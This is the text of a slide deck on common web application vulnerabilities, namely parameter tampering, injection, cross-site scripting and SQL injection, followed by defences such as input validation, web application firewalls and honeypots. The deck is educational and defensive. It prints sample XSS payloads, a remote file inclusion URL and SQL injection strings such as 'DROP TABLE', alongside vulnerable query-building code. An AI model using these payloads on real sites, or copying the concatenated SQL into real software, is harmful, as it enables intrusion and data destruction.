Protecting Against Common Web Application Vulnerabilities Alaa Al-Bahrani Regional Cyber Security Leader, GE
Agenda What? Vulnerabilities 01 04 How? Protect 02 05 Top Attacks Q&A What are web applications? Common vulnerabilities in web applications How? Protect 02 05 How web applications work? How to protect against web application vulnerabilities Top Attacks Q&A 03 06 Top attacks against web applications Questions
Web Applications Application hosted on a webserver Accessed by a web browser Connects to a database backend Favored by many organizations Vulnerable to attacks! This Photo by Unknown Author is licensed under CC BY-SA This Photo by Unknown Author is licensed under CC BY-SA
How they work? Web Application Web Server 3rd Party Internet Web Browser Database
Top Web Application Attacks Source: www.ptsecurity.com
CMS Market Share Content Management Systems WordPress 60% Around 27% of the Internet is Powered by WordPress, which means approximately 75 million websites are currently running WordPress as a CMS. Joomla 6.5% Drupal 4.6% Source: w3techs.com, January 2018 Source: www.whoishostingthis.com
WordPress Vulnerabilities Source: www.wpwhitesecurity.com 2407 vulnerabilities
Common Vulnerabilities Parameter Tampering Command Injection Cross-Site Scripting (XSS) SQL Injection
Parameter Tampering Attack Definition Manipulation of parameters exchanged between client and server in order to modify application data URL Parameters <input type=”hidden” id=”1008” name=”cost” value=”70.00”> www.attackbank.com/default.asp?profile=741&debit=1000 <input type=”hidden” id=”1008” name=”cost” value=”70.00”> www.attackbank.com/default.asp?profile=741&debit=2000 <input type=”hidden” id=”1008” name=”cost” value=”70.00”> www.attackbank.com/savepage.asp?id=147&status=read <input type=”hidden” id=”1008” name=”cost” value=”70.00”> www.attackbank.com/savepage.asp?id=147&status=delete Hidden Fields
Injection Attacks Definition Unsolicited commands and data are passed to the web application due to not validating input <input type=”hidden” id=”1008” name=”cost” value=”70.00”> www.attackbank.com/index.php?page=members.php <input type=”hidden” id=”1008” name=”cost” value=”70.00”> www.attackbank.com/index.php?page=http://badsite.com/attack.php
Injection Attacks
Cross-Site Scripting (XSS) Definition Allows attackers to inject client-side scripts into web pages. The scripts would then be executed once the client visits the vulnerable web page. Stored Reflected When the victim access the vulnerable website, the malicious script executes Hacker injects vulnerable website with malicious scripts to steal information from victim’s browser 02 01 Website The malicious script sends victim information to the attacker Hacker 03 Victim
Cross-Site Scripting (XSS) XSS using Script in Attributes <body onload=alert('test1')> <b onmouseover=alert('Wufff!')>click me!</b> <img src="http://url.to.file.which/not.exist" onerror=alert(document.cookie);> XSS using Script Via Encoded URI Schemes <IMG SRC=jAvascript:alert('test2')> XSS using code encoding <META HTTP-EQUIV="refresh“ CONTENT="0;url=data:text/html;base64,PHNjcmlwdD5hbGVydCgndGVzdDMnKTwvc2NyaXB0Pg"> <script>alert('test3')</script>
Cross-Site Scripting (XSS) The same could be used to execute stored XSS attacks in guestbook entries, blog posts, and comments.
Cross-Site Scripting (XSS) Error Page Example http://testsite.test/file_which_not_exist Not found: /file_which_not_exist http://testsite.test/<script>alert("TEST");</script> Not found: / (but with JavaScript code <script>alert("TEST");</script>)
SQL Injection The placement of malicious code in SQL statements, via web page input It is a fault in the code of the web application, not the DBMS A successful SQL injection exploit can: read sensitive data from the database, modify database data (Insert/Update/Delete) execute administration operations on the database (e.g. shutdown the DBMS) recover the content of a given file present on the DBMS file system issue commands to the operating system Photo Source: https://www.link-academy.com/blog/sql-injection-ghidul-celei-mai-utilizate-metode-de-atac
SQL Injection 1=1 (Tautology) Example stringUserID = getRequestString("User_ID"); stringSQL = "SELECT * FROM Users WHERE User_ID = " + stringUserID; 1=1 (Tautology) Example SELECT * FROM Users WHERE User_ID = 110 OR 1=1;
SQL Injection Batched SQL Statements Example stringUserID = getRequestString("User_ID"); stringSQL = "SELECT * FROM Users WHERE User_ID = " + stringUserID; Batched SQL Statements Example SELECT * FROM Users WHERE User_ID = 110; DROP TABLE Suppliers;
SQL Injection Search Bar (UNION) Example stringTitle = getRequestString(“Title”); stringSQL = “SELECT * FROM Authors WHERE Title Like %” + stringTitle + “%”; Search Bar (UNION) Example 1 UNION SELECT 1 FROM information_schema.tables --; SELECT * FROM Authors WHERE Title Like 1 UNION SELECT 1 FROM information_schema.tables --%
SQL Injection Many tools automate SQL injection attacks Any input field can be used Login form Search bar Newsletter registration etc
How To Protect
Defense in Depth Layer 7 Layer 6 Web Application Layer 5 3rd Party Components Database Web Server Operating System Network Physical Security
Protecting Your Web Application Input Validation Code Testing
Web Application Firewall (WAF) Web Server 3rd Party Internet Web Browser Database
Honeypots Honeypots are a security system to detect and divert attacks They replicate system services such as web services They allow collecting more information about the attack Photo Source: https://www.carnaghan.com/honeypots-to-lure-or-not-to-lure/
Thank You